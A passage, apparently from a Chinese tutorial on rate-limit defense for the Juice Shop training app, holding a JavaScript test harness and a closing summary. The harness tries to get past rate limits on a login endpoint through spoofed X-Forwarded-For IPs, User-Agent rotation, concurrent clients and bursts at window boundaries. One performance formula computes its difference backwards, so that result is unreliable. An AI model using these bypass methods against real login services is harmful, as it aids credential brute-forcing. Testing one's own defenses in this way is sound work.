100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
/**
* API 速率限制安全测试框架
* 用于验证防护系统的有效性
*/
class RateLimitSecurityTester {
constructor(targetConfig) {
this.target = {
baseUrl: targetConfig.baseUrl,
endpoints: targetConfig.endpoints,
credentials: targetConfig.credentials
};

this.testResults = {
basicRateLimit: {},
bypassAttempts: {},
performanceImpact: {},
effectivenessMetrics: {}
};

this.testConfig = {
concurrentUsers: 50,
requestsPerUser: 100,
testDuration: 300000, // 5分钟
delayBetweenRequests: 100
};
}

/**
* 执行完整的安全测试套件
*/
async runFullSecurityTest() {
console.log('[TEST] 开始 API 速率限制安全测试');

const testSuites = [
this.testBasicRateLimiting.bind(this),
this.testBypassAttempts.bind(this),
this.testPerformanceImpact.bind(this),
this.testEffectivenessMetrics.bind(this)
];

for (const testSuite of testSuites) {
try {
await testSuite();
} catch (error) {
console.error(`[TEST] 测试套件失败: ${error.message}`);
}
}

return this.generateTestReport();
}

/**
* 基础限速测试
*/
async testBasicRateLimiting() {
console.log('[TEST] 测试基础限速功能');

const endpointTests = this.target.endpoints.map(async (endpoint) => {
const testResult = await this.testEndpointRateLimit(endpoint);
this.testResults.basicRateLimit[endpoint.path] = testResult;
});

await Promise.all(endpointTests);
}

/**
* 测试单个端点的限速
*/
async testEndpointRateLimit(endpoint) {
const results = {
endpoint: endpoint.path,
method: endpoint.method,
totalRequests: 0,
successfulRequests: 0,
blockedRequests: 0,
averageResponseTime: 0,
rateLimitHit: false,
responseTimeDistribution: {}
};

const startTime = Date.now();
const responseTimes = [];

// 发送请求直到触发限速
for (let i = 0; i < this.testConfig.requestsPerUser; i++) {
const requestStart = Date.now();

try {
const response = await this.sendRequest(endpoint);
const responseTime = Date.now() - requestStart;

responseTimes.push(responseTime);
results.totalRequests++;

if (response.status === 200) {
results.successfulRequests++;
} else if (response.status === 429) {
results.blockedRequests++;
results.rateLimitHit = true;
break; // 触发限速后停止测试
}

} catch (error) {
console.error(`[TEST] 请求失败: ${error.message}`);
}

// 小延迟避免过快请求
await this.delay(this.testConfig.delayBetweenRequests);
}

// 计算统计数据
results.averageResponseTime = responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length;
results.responseTimeDistribution = this.calculateResponseTimeDistribution(responseTimes);
results.testDuration = Date.now() - startTime;

return results;
}

/**
* 绕过尝试测试
*/
async testBypassAttempts() {
console.log('[TEST] 测试限速绕过尝试');

const bypassTests = [
this.testIPRotationBypass.bind(this),
this.testUserAgentSpoofing.bind(this),
this.testDistributedAttack.bind(this),
this.testTimingAttack.bind(this)
];

for (const bypassTest of bypassTests) {
try {
const result = await bypassTest();
this.testResults.bypassAttempts[result.type] = result;
} catch (error) {
console.error(`[TEST] 绕过测试失败: ${error.message}`);
}
}
}

/**
* IP 轮换绕过测试
*/
async testIPRotationBypass() {
console.log('[TEST] 测试 IP 轮换绕过');

const fakeIPs = this.generateFakeIPs(20);
const endpoint = this.target.endpoints[0]; // 使用第一个端点测试

let successfulRequests = 0;
let blockedRequests = 0;

for (const ip of fakeIPs) {
for (let i = 0; i < 10; i++) {
try {
const response = await this.sendRequest(endpoint, {
'X-Forwarded-For': ip,
'X-Real-IP': ip
});

if (response.status === 200) {
successfulRequests++;
} else if (response.status === 429) {
blockedRequests++;
}

} catch (error) {
console.error(`[TEST] IP轮换请求失败: ${error.message}`);
}

await this.delay(100);
}
}

return {
type: 'ip_rotation',
totalAttempts: fakeIPs.length * 10,
successfulRequests,
blockedRequests,
bypassSuccessRate: successfulRequests / (successfulRequests + blockedRequests),
conclusion: successfulRequests > blockedRequests ? '绕过成功' : '绕过失败'
};
}

/**
* User-Agent 伪造测试
*/
async testUserAgentSpoofing() {
console.log('[TEST] 测试 User-Agent 伪造');

const userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
'curl/7.68.0',
'Python/3.9 requests/2.25.1'
];

const endpoint = this.target.endpoints[0];
let successfulRequests = 0;
let blockedRequests = 0;

for (const userAgent of userAgents) {
for (let i = 0; i < 20; i++) {
try {
const response = await this.sendRequest(endpoint, {
'User-Agent': userAgent
});

if (response.status === 200) {
successfulRequests++;
} else if (response.status === 429) {
blockedRequests++;
}

} catch (error) {
console.error(`[TEST] User-Agent伪造请求失败: ${error.message}`);
}

await this.delay(50);
}
}

return {
type: 'user_agent_spoofing',
totalAttempts: userAgents.length * 20,
successfulRequests,
blockedRequests,
bypassSuccessRate: successfulRequests / (successfulRequests + blockedRequests),
conclusion: successfulRequests > blockedRequests ? '绕过成功' : '绕过失败'
};
}

/**
* 分布式攻击测试
*/
async testDistributedAttack() {
console.log('[TEST] 测试分布式攻击');

const concurrentAttackers = 10;
const requestsPerAttacker = 50;
const endpoint = this.target.endpoints[0];

const attackPromises = [];

for (let i = 0; i < concurrentAttackers; i++) {
const attackerId = `attacker_${i}`;
attackPromises.push(this.simulateAttacker(attackerId, endpoint, requestsPerAttacker));
}

const results = await Promise.allSettled(attackPromises);

let totalSuccessful = 0;
let totalBlocked = 0;

results.forEach(result => {
if (result.status === 'fulfilled') {
totalSuccessful += result.value.successful;
totalBlocked += result.value.blocked;
}
});

return {
type: 'distributed_attack',
concurrentAttackers,
totalAttempts: concurrentAttackers * requestsPerAttacker,
successfulRequests: totalSuccessful,
blockedRequests: totalBlocked,
bypassSuccessRate: totalSuccessful / (totalSuccessful + totalBlocked),
conclusion: totalSuccessful > totalBlocked ? '绕过成功' : '绕过失败'
};
}

/**
* 时间攻击测试
*/
async testTimingAttack() {
console.log('[TEST] 测试时间攻击');

const endpoint = this.target.endpoints[0];
const windowSize = 60000; // 1分钟窗口
const maxRequests = 100;

// 在窗口边界发送请求
const windowStart = Math.floor(Date.now() / windowSize) * windowSize;
const windowEnd = windowStart + windowSize;

let successfulRequests = 0;
let blockedRequests = 0;

// 在窗口结束前集中发送请求
while (Date.now() < windowEnd - 1000) {
try {
const response = await this.sendRequest(endpoint);

if (response.status === 200) {
successfulRequests++;
} else if (response.status === 429) {
blockedRequests++;
}

} catch (error) {
console.error(`[TEST] 时间攻击请求失败: ${error.message}`);
}

await this.delay(10);
}

// 等待窗口重置
await this.delay(2000);

// 在新窗口开始时立即发送请求
for (let i = 0; i < 10; i++) {
try {
const response = await this.sendRequest(endpoint);

if (response.status === 200) {
successfulRequests++;
} else if (response.status === 429) {
blockedRequests++;
}

} catch (error) {
console.error(`[TEST] 窗口重置请求失败: ${error.message}`);
}

await this.delay(100);
}

return {
type: 'timing_attack',
windowSize,
totalAttempts: successfulRequests + blockedRequests,
successfulRequests,
blockedRequests,
bypassSuccessRate: successfulRequests / (successfulRequests + blockedRequests),
conclusion: successfulRequests > blockedRequests ? '绕过成功' : '绕过失败'
};
}

/**
* 性能影响测试
*/
async testPerformanceImpact() {
console.log('[TEST] 测试性能影响');

const baselineTest = await this.measureBaselinePerformance();
const rateLimitTest = await this.measureRateLimitPerformance();

this.testResults.performanceImpact = {
baseline: baselineTest,
withRateLimit: rateLimitTest,
performanceDegradation: this.calculatePerformanceDegradation(baselineTest, rateLimitTest)
};
}

/**
* 测量基线性能
*/
async measureBaselinePerformance() {
const endpoint = this.target.endpoints[0];
const requestCount = 1000;
const responseTimes = [];

const startTime = Date.now();

for (let i = 0; i < requestCount; i++) {
const requestStart = Date.now();

try {
await this.sendRequest(endpoint);
const responseTime = Date.now() - requestStart;
responseTimes.push(responseTime);
} catch (error) {
console.error(`[TEST] 基线性能测试请求失败: ${error.message}`);
}

await this.delay(10);
}

const totalTime = Date.now() - startTime;

return {
totalRequests: requestCount,
totalTime,
averageResponseTime: responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length,
p95ResponseTime: this.calculatePercentile(responseTimes, 95),
p99ResponseTime: this.calculatePercentile(responseTimes, 99),
requestsPerSecond: requestCount / (totalTime / 1000)
};
}

/**
* 测量限速性能
*/
async measureRateLimitPerformance() {
const endpoint = this.target.endpoints[0];
const requestCount = 1000;
const responseTimes = [];

const startTime = Date.now();

for (let i = 0; i < requestCount; i++) {
const requestStart = Date.now();

try {
const response = await this.sendRequest(endpoint);
const responseTime = Date.now() - requestStart;
responseTimes.push(responseTime);
} catch (error) {
console.error(`[TEST] 限速性能测试请求失败: ${error.message}`);
}

await this.delay(10);
}

const totalTime = Date.now() - startTime;

return {
totalRequests: requestCount,
totalTime,
averageResponseTime: responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length,
p95ResponseTime: this.calculatePercentile(responseTimes, 95),
p99ResponseTime: this.calculatePercentile(responseTimes, 99),
requestsPerSecond: requestCount / (totalTime / 1000)
};
}

/**
* 效果指标测试
*/
async testEffectivenessMetrics() {
console.log('[TEST] 测试防护效果指标');

const metrics = {
attackDetectionRate: await this.measureAttackDetectionRate(),
falsePositiveRate: await this.measureFalsePositiveRate(),
responseTimeUnderLoad: await this.measureResponseTimeUnderLoad(),
systemStability: await this.measureSystemStability()
};

this.testResults.effectivenessMetrics = metrics;
}

/**
* 测量攻击检测率
*/
async measureAttackDetectionRate() {
const simulatedAttacks = 100;
let detectedAttacks = 0;

for (let i = 0; i < simulatedAttacks; i++) {
const attackResult = await this.simulateAttack();
if (attackResult.blocked) {
detectedAttacks++;
}
}

return {
totalAttacks: simulatedAttacks,
detectedAttacks,
detectionRate: detectedAttacks / simulatedAttacks
};
}

/**
* 测量误报率
*/
async measureFalsePositiveRate() {
const legitimateRequests = 100;
let falsePositives = 0;

for (let i = 0; i < legitimateRequests; i++) {
const requestResult = await this.simulateLegitimateRequest();
if (requestResult.blocked) {
falsePositives++;
}
}

return {
totalLegitimateRequests: legitimateRequests,
falsePositives,
falsePositiveRate: falsePositives / legitimateRequests
};
}

/**
* 生成测试报告
*/
generateTestReport() {
const report = {
testSummary: {
timestamp: new Date().toISOString(),
target: this.target.baseUrl,
overallStatus: 'completed'
},
results: this.testResults,
recommendations: this.generateRecommendations(),
securityScore: this.calculateSecurityScore()
};

console.log('[TEST] 测试报告生成完成');
return report;
}

/**
* 生成改进建议
*/
generateRecommendations() {
const recommendations = [];

// 基于测试结果生成建议
if (this.testResults.bypassAttempts.ip_rotation?.bypassSuccessRate > 0.3) {
recommendations.push('加强 IP 限速策略,考虑更智能的 IP 信誉系统');
}

if (this.testResults.performanceImpact.performanceDegradation > 0.2) {
recommendations.push('优化限速算法,减少对正常请求的性能影响');
}

if (this.testResults.effectivenessMetrics.falsePositiveRate?.falsePositiveRate > 0.05) {
recommendations.push('调整异常检测阈值,减少误报率');
}

return recommendations;
}

/**
* 计算安全评分
*/
calculateSecurityScore() {
let score = 100;

// 根据绕过测试结果扣分
Object.values(this.testResults.bypassAttempts).forEach(result => {
if (result.bypassSuccessRate > 0.5) {
score -= 30;
} else if (result.bypassSuccessRate > 0.2) {
score -= 15;
} else if (result.bypassSuccessRate > 0.1) {
score -= 5;
}
});

// 根据性能影响扣分
if (this.testResults.performanceImpact.performanceDegradation > 0.3) {
score -= 20;
} else if (this.testResults.performanceImpact.performanceDegradation > 0.1) {
score -= 10;
}

return Math.max(0, score);
}

/**
* 工具函数:发送请求
*/
async sendRequest(endpoint, customHeaders = {}) {
const url = `${this.target.baseUrl}${endpoint.path}`;

const headers = {
'Content-Type': 'application/json',
...customHeaders
};

const body = endpoint.body ? JSON.stringify(endpoint.body) : undefined;

const response = await fetch(url, {
method: endpoint.method,
headers,
body
});

return response;
}

/**
* 工具函数:模拟攻击者
*/
async simulateAttacker(attackerId, endpoint, requestCount) {
let successful = 0;
let blocked = 0;

for (let i = 0; i < requestCount; i++) {
try {
const response = await this.sendRequest(endpoint, {
'X-Attacker-ID': attackerId
});

if (response.status === 200) {
successful++;
} else if (response.status === 429) {
blocked++;
}

} catch (error) {
console.error(`[TEST] 攻击者 ${attackerId} 请求失败: ${error.message}`);
}

await this.delay(Math.random() * 200);
}

return { successful, blocked };
}

/**
* 工具函数:模拟攻击
*/
async simulateAttack() {
const endpoint = this.target.endpoints[0];

try {
const response = await this.sendRequest(endpoint, {
'X-Attack-Pattern': 'brute_force'
});

return {
blocked: response.status === 429,
status: response.status
};
} catch (error) {
return { blocked: false, error: error.message };
}
}

/**
* 工具函数:模拟合法请求
*/
async simulateLegitimateRequest() {
const endpoint = this.target.endpoints[0];

try {
const response = await this.sendRequest(endpoint);

return {
blocked: response.status === 429,
status: response.status
};
} catch (error) {
return { blocked: false, error: error.message };
}
}

/**
* 工具函数:生成虚假IP
*/
generateFakeIPs(count) {
const ips = [];
for (let i = 0; i < count; i++) {
ips.push(`${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`);
}
return ips;
}

/**
* 工具函数:计算响应时间分布
*/
calculateResponseTimeDistribution(responseTimes) {
const distribution = {
'0-100ms': 0,
'100-500ms': 0,
'500ms-1s': 0,
'1s+': 0
};

responseTimes.forEach(time => {
if (time < 100) distribution['0-100ms']++;
else if (time < 500) distribution['100-500ms']++;
else if (time < 1000) distribution['500ms-1s']++;
else distribution['1s+']++;
});

return distribution;
}

/**
* 工具函数:计算百分位数
*/
calculatePercentile(values, percentile) {
const sorted = values.sort((a, b) => a - b);
const index = Math.ceil((percentile / 100) * sorted.length) - 1;
return sorted[index];
}

/**
* 工具函数:计算性能下降
*/
calculatePerformanceDegradation(baseline, withRateLimit) {
return (baseline.averageResponseTime - withRateLimit.averageResponseTime) / baseline.averageResponseTime;
}

/**
* 工具函数:延迟执行
*/
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}

/**
* 测试执行示例
*/
async function runSecurityTest() {
const targetConfig = {
baseUrl: 'http://localhost:3000',
endpoints: [
{
path: '/rest/user/login',
method: 'POST',
body: { email: '[email protected]', password: 'password' }
}
],
credentials: [
{ email: '[email protected]', password: 'admin123' },
{ email: '[email protected]', password: 'password123' }
]
};

const tester = new RateLimitSecurityTester(targetConfig);
const report = await tester.runFullSecurityTest();

console.log('[TEST] 安全评分:', report.securityScore);
console.log('[TEST] 改进建议:', report.recommendations);

return report;
}

# 总结与技术延伸

# 核心技术价值

通过深度分析 Juice Shop 的 API 速率限制机制,我们不仅发现了其安全防护的不足,更构建了一套企业级的解决方案。这套方案的核心价值在于:

  1. 多层防护架构:从全局、IP、用户、端点四个维度建立立体防护
  2. 智能异常检测:基于行为分析的动态检测机制,能够识别复杂攻击模式
  3. 自适应限流:根据系统负载动态调整限速策略,平衡安全与性能
  4. 完整测试验证:提供全面的安全测试框架,确保防护效果可量化

# 技术延伸方向

云原生环境适配

  • Kubernetes 环境下的分布式限速
  • Service Mesh 集成的限速策略
  • 微服务架构的统一限速管理

AI 驱动的智能防护

  • 机器学习模型的异常检测
  • 实时攻击模式识别
  • 自适应防护策略优化

零信任架构集成

  • 基于身份的细粒度限速
  • 设备信任度评估
  • 动态权限调整

# 实施建议

  1. 分阶段部署:先实施基础限速,再逐步引入智能检测
  2. 监控告警:建立完善的监控体系,及时发现异常
  3. 持续优化:基于实际攻击数据不断调整防护策略
  4. 团队培训:确保开发和运维团队理解限速机制的重要性

这套企业级 API 速率限制防护系统不仅能够有效防护当前的暴力破解攻击,更为未来的安全威胁提供了可扩展的防护框架。通过智能化的检测机制和自适应的防护策略,我们实现了安全防护与系统性能的最佳平衡。